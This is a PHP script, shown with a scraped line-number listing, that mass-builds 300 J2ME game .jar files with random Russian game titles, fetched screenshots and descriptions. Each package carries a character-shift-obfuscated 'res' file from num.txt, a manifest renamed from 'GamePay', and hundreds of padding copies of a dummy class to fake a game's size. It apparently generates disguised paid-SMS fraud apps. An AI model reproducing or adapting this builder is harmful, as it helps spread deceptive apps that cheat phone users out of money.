set_time_limit ignore_user_abort function translit st st strtr st абвг

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
<?
set_time_limit(0);
ignore_user_abort(1);
function translit($st) {
$st = strtr($st,
"абвгдежзийклмнопрстуфыэАБВГДЕЖЗИЙКЛМНОПРСТУФЫЭ",
"abvgdegziyklmnoprstufieABVGDEGZIYKLMNOPRSTUFIE"
);
$st = strtr($st, array(
'ё'=>"yo", 'х'=>"h", 'ц'=>"ts", 'ч'=>"ch", 'ш'=>"sh",
'щ'=>"shch", 'ъ'=>'', 'ь'=>'', 'ю'=>"yu", 'я'=>"ya",
'Ё'=>"Yo", 'Х'=>"H", 'Ц'=>"Ts", 'Ч'=>"Ch", 'Ш'=>"Sh",
'Щ'=>"Shch", 'Ъ'=>'', 'Ь'=>'', 'Ю'=>"Yu", 'Я'=>"Ya",
));
return $st;
}
function ds($str){
$e = preg_replace('/([^A-z0-9А-я\s])/', '', $str);
$e = preg_replace('/\[.*?\]/', '', $e);
return $e;
}
$kb = base64_decode('UEsDBBQAAAAIABa7pUJTCL0xNQMAAIsGAAARAAAASGVsbG9NSURsZXQuY2xhc3OVVG1TE0kQfiYb2bgshgQF8fTE9xCU9Q3f4qkcAaWMfhBKS7+NuwMZ3ezEzayGP6SfrVK8uqu6H3A/yrJnEgJVxwlXW9M73dP99NM9vfvP9z//hoNLWPZQxIyHi7h0EIcw6yIo4LKHPK4Y/WoB14zHdRdzHm7gpkfGW8Zy20XNxV0XvzEMi67UC6rV4knEcLrxhr/n3aAlw1SJSGqpkiAOo0wGfZ8agxvJTjvmGz91r/d8yH3orkykvsfgVKafM+QXVCQYig2ZiKdZ67VIV/nrmCzlhgp5/Jyn0uh9Y143ZYdhrNEUcayCR0Y+Wa7HQhNyoaN5qufbbYac6DJc242OVEQ9SURotKdKL6ksiRa7oWgbg0Fp86wjLIoXiY5O1YZV8pVXhu9IloQq6YHxmIG9IlvYa8a8BWV4XNm7b3u2yhRcMxlZSIuKPr+/EKK9orI0FEvSdGx0R49mDYCPIxh3cc/HfTzwMYbDDFN70aXyF2kwTOy8jxLKDBebWrfvBMF6d40SdWapB0GseBRkwY1bc7eDVZ6ETflWzvJMKx+/Y4Hhyv++EBd1H4sY9zGFUz6WDPVHDKV/3f/uRbRkRGfBlkvlv+rcqrMhO1okIv1ZS+pb4+6tCz1QliqNvfLXpvfzfUz0gIKYJ+vBik5lsl5bXjaDUCQPvabS1jPxLqPJZDiyi+80DeTYtnW1maoPvY+n2CYHvaJ5+HY15aGxJErLtY16b8wFXXPBHj/hNPBn9zNuOEV/kSJozpBDzkwGgJyZKnofADPDRnKCtBUM0Q44Uf0GVq3+gdxXONW/kH9ZPjDqOt8w9BXuZxt+lGSZflyAT3KE5CEcpzST1mJBcAy/0Jvh+CDBhqUAjFbLhU0cfPEJhcbMJoY/2wgXHj2OxR4naiCSLu08ojpMNIuEMWnPcqTnKcOvNm60n+khrQk688BcosMMXrG3NzRODmjMWJ3Wdi29wo/t4M8G/Gmu+4Fz1n+XwBMDYtuBZncaZ0jSTeFcH6JDPo5p3kz1C9yP8KvOJolNjBhMZ0djp1CgxCOEUaL4SWuxkQP8Ms7TYnZ3ARXkbAtKZCnBobJd5F3csUSmLeHqD1BLAQIfABQAAAAIABa7pUJTCL0xNQMAAIsGAAARACQAAAAAAAAAIAAAAAAAAABIZWxsb01JRGxldC5jbGFzcwoAIAAAAAAAAQAYAACORZTOSc4B4+wnbNefzgHj7Cds15/OAVBLBQYAAAAAAQABAGMAAABkAwAAAAA=');
//$name = $_POST['name'];
$f = file_get_contents('num.txt');
for($i = 0; $i < strlen($f); $i++)
$res .= chr(ord($f{$i})-1);
$files = array('Midlet.class', 'a.class', 'i.png');
$manifest = file_get_contents('resource/META-INF/MANIFEST.MF');
if( !is_dir('alarms'))
mkdir('alarms');
require_once 'rugame.php';
for($i2 = 0; $i2 < 300; $i2++){
$data = randGame();
$name = $data[0];
$img = $data[1];
$descr = $data[2];
if( !is_dir('alarms/'.ds($name)))
mkdir('alarms/'.ds($name));
$jar = new ZipArchive;
$jar->open('alarms/'.ds($name).'/'.ds($name).'.jar', ZIPARCHIVE::CREATE);
$jar->addEmptyDir('META-INF');
$jar->addEmptyDir('res');
$jar->addEmptyDir('GameData');
foreach($files as $k=>$v)
$jar->addFromString($v, file_get_contents('resource/'.$v));
$jar->addFromString('res/res', $res);
$jar->addFromString('META-INF/MANIFEST.MF', str_replace('GamePay', ds(translit($name)), $manifest));
for($i=0; $i<rand(500, 950); $i++){
$jar->addFromString('GameData/data'.$i, $kb);
}
$jar->close();
$fp = fopen('alarms/'.ds($name).'/Description.txt', 'w+');
fwrite($fp, $descr);
fclose($fp);
$ch = curl_init();
curl_setopt_array($ch, array(
CURLOPT_USERAGENT => 'Mozilla Firefox',
CURLOPT_FOLLOWLOCATION => true,
CURLOPT_RETURNTRANSFER => true,
CURLOPT_URL => $img
));
$r = curl_exec($ch);
curl_close($ch);
$fp = fopen('alarms/'.ds($name).'/Screen.jpg', 'w+');
fwrite($fp, $r);
fclose($fp);
echo "$name DONE!<br/>\n";
@flush();
}
?>